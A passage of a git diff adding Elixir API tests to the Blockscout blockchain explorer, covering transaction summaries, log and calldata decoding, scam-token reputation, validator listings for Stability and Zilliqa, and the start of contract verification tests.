insert(:smart_contract, + contract_code_md5: "123", + abi: [ + %{ + "constant" => false, + "inputs" => [%{"name" => "", "type" => "bytes"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + ] + ) + |> Repo.preload(:address) + + input_data = + "set(bytes)" + |> ABI.encode([ + <<48, 120, 253, 69, 39, 88, 49, 136, 89, 142, 21, 123, 116, 129, 248, 32, 77, 29, 224, 121, 49, 137, 216, 8, + 212, 195, 239, 11, 174, 75, 56, 126>> + ]) + |> Base.encode16(case: :lower) + + transaction = + :transaction + |> insert(to_address: contract.address, input: "0x" <> input_data) + |> with_block() + |> Repo.preload(to_address: :smart_contract) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + + # Verify that the transaction has input data + assert response["data"]["raw_input"] == "0x" <> input_data + + assert response["data"]["decoded_input"] == %{ + "method_call" => "set(bytes arg0)", + "method_id" => "0399321e", + "parameters" => [ + %{ + "name" => "arg0", + "type" => "bytes", + "value" => "0x3078fd4527583188598e157b7481f8204d1de0793189d808d4c3ef0bae4b387e" + } + ] + } + end + + test "return request body with proper address information", %{conn: conn} do + from_address = insert(:address) + to_address = insert(:address) + + transaction = + :transaction + |> insert(from_address: from_address, to_address: to_address) + |> with_block() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + + # Verify from address + from_data = response["data"]["from"] + assert Map.has_key?(from_data, "hash") + assert from_data["hash"] == Address.checksum(from_address.hash) + + # Verify to address + to_data = response["data"]["to"] + assert Map.has_key?(to_data, "hash") + assert to_data["hash"] == Address.checksum(to_address.hash) + end + + test "limits token transfers to 50 items", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + # Insert more than 50 token transfers + insert_list(60, :token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert Enum.count(response["data"]["token_transfers"]) <= 50 + end + + test "limits internal transactions to 50 items", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + # Insert more than 50 internal transactions + for index <- 1..60 do + insert(:internal_transaction, + transaction: transaction, + index: index, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: index + ) + end + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert Enum.count(response["data"]["internal_transactions"]) <= 50 + end + + test "limits logs to 50 items", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + # Insert more than 50 logs + for index <- 1..60 do + insert(:log, + transaction: transaction, + index: index, + block: transaction.block, + block_number: transaction.block_number + ) + end + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert Enum.count(response["logs_data"]["items"]) <= 50 + end + + test "log could be decoded via verified implementation", %{conn: conn} do + address = insert(:contract_address) + + contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, + address_hash: contract_address.hash, + abi: [ + %{ + "name" => "OptionSettled", + "type" => "event", + "inputs" => [ + %{"name" => "accountId", "type" => "uint256", "indexed" => true, "internalType" => "uint256"}, + %{"name" => "option", "type" => "address", "indexed" => false, "internalType" => "address"}, + %{"name" => "subId", "type" => "uint256", "indexed" => false, "internalType" => "uint256"}, + %{"name" => "amount", "type" => "int256", "indexed" => false, "internalType" => "int256"}, + %{"name" => "value", "type" => "int256", "indexed" => false, "internalType" => "int256"} + ], + "anonymous" => false + } + ] + ) + + topic1_bytes = ExKeccak.hash_256("OptionSettled(uint256,address,uint256,int256,int256)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + topic2 = "0x0000000000000000000000000000000000000000000000000000000000005d19" + + log_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + transaction = :transaction |> insert() |> with_block() + + insert(:log, + transaction: transaction, + first_topic: TestHelper.topic(topic1), + second_topic: TestHelper.topic(topic2), + third_topic: nil, + fourth_topic: nil, + data: log_data, + address: address, + block: transaction.block, + block_number: transaction.block_number + ) + + insert(:proxy_implementation, + proxy_address_hash: address.hash, + proxy_type: "eip1167", + address_hashes: [smart_contract.address_hash], + names: ["Test"] + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert is_list(response["logs_data"]["items"]) + assert Enum.count(response["logs_data"]["items"]) == 1 + + log_from_api = Enum.at(response["logs_data"]["items"], 0) + assert not is_nil(log_from_api["decoded"]) + + assert log_from_api["decoded"] == %{ + "method_call" => + "OptionSettled(uint256 indexed accountId, address option, uint256 subId, int256 amount, int256 value)", + "method_id" => "d20a68b2", + "parameters" => [ + %{ + "indexed" => true, + "name" => "accountId", + "type" => "uint256", + "value" => "23833" + }, + %{ + "indexed" => false, + "name" => "option", + "type" => "address", + "value" => Address.checksum("0xAeB81cbe6b19CeEB0dBE0d230CFFE35Bb40a13a7") + }, + %{ + "indexed" => false, + "name" => "subId", + "type" => "uint256", + "value" => "20615843020801704441600" + }, + %{ + "indexed" => false, + "name" => "amount", + "type" => "int256", + "value" => "-120000000000000000" + }, + %{ + "indexed" => false, + "name" => "value", + "type" => "int256", + "value" => "-522838470013113778446" + } + ] + } + end + + test "test corner case, when preload functions face absent smart contract", %{conn: conn} do + address = insert(:contract_address) + + contract_address = insert(:contract_address) + + topic1_bytes = ExKeccak.hash_256("OptionSettled(uint256,address,uint256,int256,int256)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + topic2 = "0x0000000000000000000000000000000000000000000000000000000000005d19" + + log_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + transaction = :transaction |> insert() |> with_block() + + insert(:log, + transaction: transaction, + first_topic: TestHelper.topic(topic1), + second_topic: TestHelper.topic(topic2), + third_topic: nil, + fourth_topic: nil, + data: log_data, + address: address, + block: transaction.block, + block_number: transaction.block_number + ) + + insert(:proxy_implementation, + proxy_address_hash: address.hash, + proxy_type: "eip1167", + address_hashes: [contract_address.hash], + names: ["Test"] + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert is_list(response["logs_data"]["items"]) + assert Enum.count(response["logs_data"]["items"]) == 1 + + log_from_api = Enum.at(response["logs_data"]["items"], 0) + # In this case, the log should not be decoded since the smart contract is absent + assert is_nil(log_from_api["decoded"]) + end + end + + describe "/transactions/{transaction_hash}/summary" do + setup do + original_config = + Application.get_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation) + + original_tesla_adapter = Application.get_env(:tesla, :adapter) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env( + :block_scout_web, + BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + original_config + ) + + Application.put_env(:tesla, :adapter, original_tesla_adapter) + end) + end + + test "success preload template variables", %{conn: conn} do + bypass = Bypass.open() + + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: true, + service_url: "http://localhost:#{bypass.port}" + ) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + token = insert(:token) + address = insert(:address) + + tx_interpretation_response = """ + { + "success": true, + "data": { + "summaries": [ + { + "summary_template": "{action_type} {outgoing_amount} {native} for {incoming_amount} {incoming_token} on {market}", + "summary_template_variables": { + "action_type": { + "type": "string", + "value": "Swap" + }, + "outgoing_amount": { + "type": "currency", + "value": "0.3" + }, + "incoming_amount": { + "type": "currency", + "value": "9693.997876398680187001" + }, + "incoming_token": { + "type": "token", + "value": { + "address_hash": "#{token.contract_address_hash}" + } + }, + "rnd_address": { + "type": "address", + "value": { + "hash": "#{address.hash}" + } + }, + "market": { + "type": "dexTag", + "value": { + "name": "Uniswap V3", + "icon": "https://blockscout-content.s3.amazonaws.com/uniswap.png", + "url": "https://uniswap.org/?utm_source=Blockscout" + } + } + } + } + ] + } + } + """ + + Bypass.expect_once( + bypass, + "GET", + "/cache/#{to_string(transaction.hash)}", + fn conn -> + Plug.Conn.resp(conn, 404, "Not Found") + end + ) + + Bypass.expect_once( + bypass, + "POST", + "/transactions/summary", + fn conn -> + Plug.Conn.resp(conn, 200, tx_interpretation_response) + end + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary") + assert response = json_response(request, 200) + + token_json = Enum.at(response["data"]["summaries"], 0)["summary_template_variables"]["incoming_token"]["value"] + assert token_json["address_hash"] == to_string(token.contract_address_hash) + assert token_json["symbol"] == token.symbol + assert token_json["reputation"] == "ok" + + address_json = Enum.at(response["data"]["summaries"], 0)["summary_template_variables"]["rnd_address"]["value"] + assert Map.has_key?(address_json, "ens_domain_name") + assert address_json["hash"] == to_string(address.hash) + + Bypass.down(bypass) + end + + test "success preload template variables when scam token", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + bypass = Bypass.open() + + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: true, + service_url: "http://localhost:#{bypass.port}" + ) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + token = insert(:token) + address = insert(:address) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + insert(:scam_badge_to_address, address_hash: address.hash) + + tx_interpretation_response = """ + { + "success": true, + "data": { + "summaries": [ + { + "summary_template": "{action_type} {outgoing_amount} {native} for {incoming_amount} {incoming_token} on {market}", + "summary_template_variables": { + "action_type": { + "type": "string", + "value": "Swap" + }, + "outgoing_amount": { + "type": "currency", + "value": "0.3" + }, + "incoming_amount": { + "type": "currency", + "value": "9693.997876398680187001" + }, + "incoming_token": { + "type": "token", + "value": { + "address_hash": "#{token.contract_address_hash}" + } + }, + "rnd_address": { + "type": "address", + "value": { + "hash": "#{address.hash}" + } + }, + "market": { + "type": "dexTag", + "value": { + "name": "Uniswap V3", + "icon": "https://blockscout-content.s3.amazonaws.com/uniswap.png", + "url": "https://uniswap.org/?utm_source=Blockscout" + } + } + } + } + ] + } + } + """ + + Bypass.expect_once( + bypass, + "GET", + "/cache/#{to_string(transaction.hash)}", + fn conn -> + Plug.Conn.resp(conn, 404, "Not Found") + end + ) + + Bypass.expect_once( + bypass, + "POST", + "/transactions/summary", + fn conn -> + Plug.Conn.resp(conn, 200, tx_interpretation_response) + end + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary") + assert response = json_response(request, 200) + + token_json = Enum.at(response["data"]["summaries"], 0)["summary_template_variables"]["incoming_token"]["value"] + assert token_json["address_hash"] == to_string(token.contract_address_hash) + assert token_json["symbol"] == token.symbol + assert token_json["reputation"] == "scam" + + address_json = Enum.at(response["data"]["summaries"], 0)["summary_template_variables"]["rnd_address"]["value"] + assert Map.has_key?(address_json, "ens_domain_name") + assert address_json["hash"] == to_string(address.hash) + assert address_json["reputation"] == "scam" + assert address_json["is_scam"] == true + + Bypass.down(bypass) + end + end + + if @chain_type == :neon do + describe "neon linked transactions service" do + test "fetches data from the node and caches in the db", %{conn: conn} do + transaction = insert(:transaction) + transaction_hash = to_string(transaction.hash) + + dummy_response = + Enum.map(1..:rand.uniform(10), fn _ -> + :crypto.strong_rand_bytes(64) |> Base.encode64() + end) + + EthereumJSONRPC.Mox + |> expect( + :json_rpc, + fn + %{id: 1, params: [^transaction_hash], method: "neon_getSolanaTransactionByNeonTransaction", jsonrpc: "2.0"}, + _options -> + {:ok, dummy_response} + end + ) + + request = get(conn, "/api/v2/transactions/#{transaction_hash}/external-transactions") + assert response = json_response(request, 200) + assert ^response = dummy_response + + records = + from( + solanaTransaction in Explorer.Chain.Neon.LinkedSolanaTransactions, + where: solanaTransaction.neon_transaction_hash == ^transaction.hash.bytes, + select: solanaTransaction.solana_transaction_hash + ) + |> Repo.all() + + assert length(dummy_response) == length(records) and + Enum.all?(dummy_response, fn dummy -> Enum.member?(records, dummy) end) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn _, _ -> {:error, "must use DB cache"} end) + + request = get(conn, "/api/v2/transactions/#{transaction_hash}/external-transactions") + assert response = json_response(request, 200) + + assert length(response) == length(dummy_response) and + Enum.all?(dummy_response, fn dummy -> Enum.member?(response, dummy) end) + end + + test "returns an error when RPC node request fails", %{conn: conn} do + transaction = insert(:transaction) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn _, _ -> {:error, "must fail"} end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/external-transactions") + assert response = json_response(request, 500) + + assert response == %{ + "error" => "Unable to fetch external linked transactions", + "reason" => "\"Unable to fetch data from the node: \\\"must fail\\\"\"" + } + end + + test "returns empty list when RPC returns empty list", %{conn: conn} do + transaction = insert(:transaction) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn _, _ -> {:ok, []} end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/external-transactions") + assert response = json_response(request, 200) + assert ^response = [] + end + + test "returns 422 for invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/invalid_hash/external-transactions") + assert response = json_response(request, 422) + assert response["message"] == "Invalid parameter(s)" + end + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/utils_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/utils_controller_test.exs new file mode 100644 index 000000000000..3c28c50d7000 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/utils_controller_test.exs @@ -0,0 +1,80 @@ +defmodule BlockScoutWeb.API.V2.UtilsControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.TestHelper + + describe "/api/v2/utils/decode-calldata" do + test "success decodes calldata", %{conn: conn} do + transaction = + :transaction_to_verified_contract + |> insert() + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + assert conn + |> get("/api/v2/utils/decode-calldata", %{ + "calldata" => to_string(transaction.input), + "address_hash" => to_string(transaction.to_address) + }) + |> json_response(200) == + %{ + "result" => %{ + "method_call" => "set(uint256 x)", + "method_id" => "60fe47b1", + "parameters" => [%{"name" => "x", "type" => "uint256", "value" => "50"}] + } + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + assert conn + |> post("/api/v2/utils/decode-calldata", %{ + "calldata" => to_string(transaction.input), + "address_hash" => to_string(transaction.to_address) + }) + |> json_response(200) == + %{ + "result" => %{ + "method_call" => "set(uint256 x)", + "method_id" => "60fe47b1", + "parameters" => [%{"name" => "x", "type" => "uint256", "value" => "50"}] + } + } + end + + test "return nil in case of failed decoding", %{conn: conn} do + assert conn + |> post("/api/v2/utils/decode-calldata", %{ + "calldata" => "0x010101" + }) + |> json_response(200) == + %{ + "result" => nil + } + end + + test "decodes using ABI from smart_contracts_methods table", %{conn: conn} do + insert(:contract_method) + + input_data = + "set(uint)" + |> ABI.encode([50]) + |> Base.encode16(case: :lower) + + assert conn + |> post("/api/v2/utils/decode-calldata", %{ + "calldata" => "0x" <> input_data + }) + |> json_response(200) == + %{ + "result" => %{ + "method_call" => "set(uint256 x)", + "method_id" => "60fe47b1", + "parameters" => [%{"name" => "x", "type" => "uint256", "value" => "50"}] + } + } + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/validator_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/validator_controller_test.exs new file mode 100644 index 000000000000..b19113e64c6f --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/validator_controller_test.exs @@ -0,0 +1,286 @@ +defmodule BlockScoutWeb.API.V2.ValidatorControllerTest do + use BlockScoutWeb.ConnCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :stability do + alias Explorer.Chain.Address + alias Explorer.Chain.Cache.Counters.Stability.ValidatorsCount + alias Explorer.Chain.Stability.Validator, as: ValidatorStability + alias Explorer.Helper + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end + + defp compare_default_sorting_for_asc({validator_1, blocks_count_1}, {validator_2, blocks_count_2}) do + case { + Helper.compare(blocks_count_1, blocks_count_2), + Helper.compare( + Keyword.fetch!(ValidatorStability.state_enum(), validator_1.state), + Keyword.fetch!(ValidatorStability.state_enum(), validator_2.state) + ), + Helper.compare(validator_1.address_hash.bytes, validator_2.address_hash.bytes) + } do + {:lt, _, _} -> false + {:eq, :lt, _} -> false + {:eq, :eq, :lt} -> false + _ -> true + end + end + + defp compare_default_sorting_for_desc({validator_1, blocks_count_1}, {validator_2, blocks_count_2}) do + case { + Helper.compare(blocks_count_1, blocks_count_2), + Helper.compare( + Keyword.fetch!(ValidatorStability.state_enum(), validator_1.state), + Keyword.fetch!(ValidatorStability.state_enum(), validator_2.state) + ), + Helper.compare(validator_1.address_hash.bytes, validator_2.address_hash.bytes) + } do + {:gt, _, _} -> false + {:eq, :lt, _} -> false + {:eq, :eq, :lt} -> false + _ -> true + end + end + + defp compare_item(%ValidatorStability{} = validator, json) do + assert Address.checksum(validator.address_hash) == json["address"]["hash"] + assert to_string(validator.state) == json["state"] + end + + defp compare_item({%ValidatorStability{} = validator, count}, json) do + assert compare_item(validator, json) + assert json["blocks_validated_count"] == count + end + + describe "/validators/stability" do + test "get paginated list of the validators", %{conn: conn} do + validators = + 51 + |> insert_list(:validator_stability) + |> Enum.sort_by( + fn validator -> + {Keyword.fetch!(ValidatorStability.state_enum(), validator.state), validator.address_hash.bytes} + end, + :desc + ) + + request = get(conn, "/api/v2/validators/stability") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/validators/stability", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, validators) + end + + test "sort by blocks_validated asc", %{conn: conn} do + validators = + for _ <- 0..50 do + blocks_count = Enum.random(0..50) + validator = insert(:validator_stability, blocks_validated: blocks_count) + + {validator, blocks_count} + end + |> Enum.sort(&compare_default_sorting_for_asc/2) + + init_params = %{"sort" => "blocks_validated", "order" => "asc"} + request = get(conn, "/api/v2/validators/stability", init_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/validators/stability", Map.merge(init_params, response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, validators) + end + + test "sort by blocks_validated desc", %{conn: conn} do + validators = + for _ <- 0..50 do + blocks_count = Enum.random(0..50) + validator = insert(:validator_stability, blocks_validated: blocks_count) + + {validator, blocks_count} + end + |> Enum.sort(&compare_default_sorting_for_desc/2) + + init_params = %{"sort" => "blocks_validated", "order" => "desc"} + request = get(conn, "/api/v2/validators/stability", init_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/validators/stability", Map.merge(init_params, response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, validators) + end + + test "state_filter=probation", %{conn: conn} do + insert_list(51, :validator_stability, state: Enum.random([:active, :inactive])) + + validators = + insert_list(51, :validator_stability, state: :probation) + |> Enum.sort_by( + fn validator -> + {Keyword.fetch!(ValidatorStability.state_enum(), validator.state), validator.address_hash.bytes} + end, + :desc + ) + + init_params = %{"state_filter" => "probation"} + + request = get(conn, "/api/v2/validators/stability", init_params) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/validators/stability", Map.merge(init_params, response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, validators) + end + end + + describe "/validators/stability/counters" do + test "get counters", %{conn: conn} do + _validator_active1 = + insert(:validator_stability, state: :active, inserted_at: DateTime.add(DateTime.utc_now(), -2, :day)) + + _validator_active2 = insert(:validator_stability, state: :active) + _validator_active3 = insert(:validator_stability, state: :active) + + _validator_inactive1 = + insert(:validator_stability, state: :inactive, inserted_at: DateTime.add(DateTime.utc_now(), -2, :day)) + + _validator_inactive2 = insert(:validator_stability, state: :inactive) + _validator_inactive3 = insert(:validator_stability, state: :inactive) + + _validator_probation1 = + insert(:validator_stability, state: :probation, inserted_at: DateTime.add(DateTime.utc_now(), -2, :day)) + + _validator_probation2 = insert(:validator_stability, state: :probation) + _validator_probation3 = insert(:validator_stability, state: :probation) + + ValidatorsCount.consolidate() + :timer.sleep(500) + + percentage = (3 / 9 * 100) |> Float.floor(2) + request = get(conn, "/api/v2/validators/stability/counters") + + assert %{ + "active_validators_count" => "3", + "active_validators_percentage" => ^percentage, + "new_validators_count_24h" => "6", + "validators_count" => "9" + } = json_response(request, 200) + end + end + end + + if @chain_type == :zilliqa do + alias Explorer.Chain.Zilliqa.Staker + alias Explorer.Chain.Zilliqa.Hash.BLSPublicKey + alias Explorer.Chain.Cache.BlockNumber + + @page_limit 50 + + # A helper to verify the JSON structure for a single validator. + # Adjust the expectations based on what your prepare functions return. + defp check_validator_json(%Staker{} = validator, json) do + assert json["peer_id"] == validator.peer_id + assert json["added_at_block_number"] == validator.added_at_block_number + assert json["stake_updated_at_block_number"] == validator.stake_updated_at_block_number + assert json["control_address"]["hash"] |> String.downcase() == validator.control_address_hash |> to_string() + assert json["reward_address"]["hash"] |> String.downcase() == validator.reward_address_hash |> to_string() + assert json["signing_address"]["hash"] |> String.downcase() == validator.signing_address_hash |> to_string() + end + + describe "GET /api/v2/validators/zilliqa" do + test "returns a paginated list of validators", %{conn: conn} do + total_validators = @page_limit + 1 + # Insert enough validators to force pagination. + for _ <- 1..total_validators do + insert(:zilliqa_staker) + end + + # First page request. + request = get(conn, "/api/v2/validators/zilliqa") + first_page = json_response(request, 200) + + # Verify that the view returns the expected keys. + assert is_list(first_page["items"]) + assert Map.has_key?(first_page, "next_page_params") + + # # Check that the first page contains the page limit number of items. + assert length(first_page["items"]) == @page_limit + + # Second page request using next_page_params. + request = get(conn, "/api/v2/validators/zilliqa", first_page["next_page_params"]) + second_page = json_response(request, 200) + + # Since we inserted one more than the page limit, the second page should have one item + # and no further page. + assert length(second_page["items"]) == total_validators - @page_limit + assert second_page["next_page_params"] == nil + end + end + + test "returns only active stakers", %{conn: conn} do + staker = insert(:zilliqa_staker) + insert(:zilliqa_staker, balance: 0) + insert(:zilliqa_staker, added_at_block_number: 2 ** 31 - 1) + + bls_key = to_string(staker.bls_public_key) + index = staker.index + balance = to_string(staker.balance) + + request = get(conn, "/api/v2/validators/zilliqa", %{"filter" => "active"}) + + assert %{ + "items" => [ + %{ + "bls_public_key" => ^bls_key, + "index" => ^index, + "balance" => ^balance + } + ] + } = json_response(request, 200) + end + + describe "GET /api/v2/validators/zilliqa/:bls_public_key" do + test "returns validator details for a valid BLS public key", %{conn: conn} do + # Insert a validator and get its BLS public key as a string. + validator = insert(:zilliqa_staker) + bls_public_key_str = to_string(validator.bls_public_key) + + conn = get(conn, "/api/v2/validators/zilliqa/#{bls_public_key_str}") + response = json_response(conn, 200) + + # The view for "zilliqa_validator.json" returns a map with extra keys. + assert is_map(response) + check_validator_json(validator, response) + end + + test "returns an error for an invalid BLS public key", %{conn: conn} do + invalid_bls_key = "invalid_key" + + conn = get(conn, "/api/v2/validators/zilliqa/#{invalid_bls_key}") + response = json_response(conn, 400) + + # The controller returns a 400 with a JSON message for an invalid BLS public key. + assert response["message"] == "Invalid bls public key" + end + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/verification_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/verification_controller_test.exs new file mode 100644 index 000000000000..f48e003ef6ab --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/verification_controller_test.exs @@ -0,0 +1,539 @@ +defmodule BlockScoutWeb.API.V2.VerificationControllerTest do + use BlockScoutWeb.ConnCase + use BlockScoutWeb.ChannelCase, async: false + # Provide JSON-RPC named arguments and Mox helpers for Ethereum JSON-RPC + use EthereumJSONRPC.Case, async: false + + alias BlockScoutWeb.V2.UserSocket + alias Explorer.Chain.Address + alias Explorer.TestHelper + alias Tesla.Multipart + alias Plug.Conn + import Mox + alias Indexer.Fetcher.OnDemand.ContractCode, as: ContractCodeOnDemand + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + + @moduletag timeout: :infinity + + setup do + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + end + + describe "/api/v2/smart-contracts/verification/config" do + test "get cfg", %{conn: conn} do + request = get(conn, "/api/v2/smart-contracts/verification/config") + + assert response = json_response(request, 200) + + assert is_list(response["solidity_evm_versions"]) + assert is_list(response["solidity_compiler_versions"]) + assert is_list(response["vyper_compiler_versions"]) + assert is_list(response["verification_options"]) + assert is_list(response["vyper_evm_versions"]) + assert response["is_rust_verifier_microservice_enabled"] == false + end + end + + if Application.compile_env(:explorer, :chain_type) !== :zksync do + describe "bytecode lookup on verification requests" do + # Set up Mox and start on-demand bytecode fetcher with mocked transport + setup :set_mox_global + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + start_supervised!({ContractCodeOnDemand, [mocked_json_rpc_named_arguments, [name: ContractCodeOnDemand]]}) + start_supervised!({ContractCreatorOnDemand, name: ContractCreatorOnDemand}) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + test "proceeds when bytecode is fetched from RPC", %{conn: conn} do + address = insert(:address) + string_address_hash = to_string(address.hash) + + contract_code = "0x6080" + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: contract_code}]} + end) + + params = %{"compiler_version" => "", "source_code" => ""} + + request = + post( + conn, + "/api/v2/smart-contracts/#{address.hash}/verification/via/flattened-code", + params + ) + + assert %{"message" => "Smart-contract verification started"} = json_response(request, 200) + end + + test "returns 404 when RPC returns empty code (EOA or not a contract)", %{conn: conn} do + address = insert(:address) + string_address_hash = to_string(address.hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: "0x"}]} + end) + + params = %{"compiler_version" => "", "source_code" => ""} + + request = + post( + conn, + "/api/v2/smart-contracts/#{address.hash}/verification/via/flattened-code", + params + ) + + assert %{"message" => "Address is not a smart-contract"} = json_response(request, 404) + end + end + + describe "/api/v2/smart-contracts/{address_hash}/verification/via/flattened-code" do + test "get 200 for verified contract", %{conn: conn} do + contract = insert(:smart_contract) + + params = %{"compiler_version" => "", "source_code" => ""} + request = post(conn, "/api/v2/smart-contracts/#{contract.address_hash}/verification/via/flattened-code", params) + + assert %{"message" => "Already verified"} = json_response(request, 200) + end + + test "success verification", %{conn: conn} do + before = Application.get_env(:explorer, :solc_bin_api_url) + + Application.put_env(:explorer, :solc_bin_api_url, "https://solc-bin.ethereum.org") + + path = File.cwd!() <> "/../explorer/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" + contract = File.read!(path) + + constructor_arguments = + "0000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000954657374546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005546f6b656e000000000000000000000000000000000000000000000000000000" + + bytecode = + 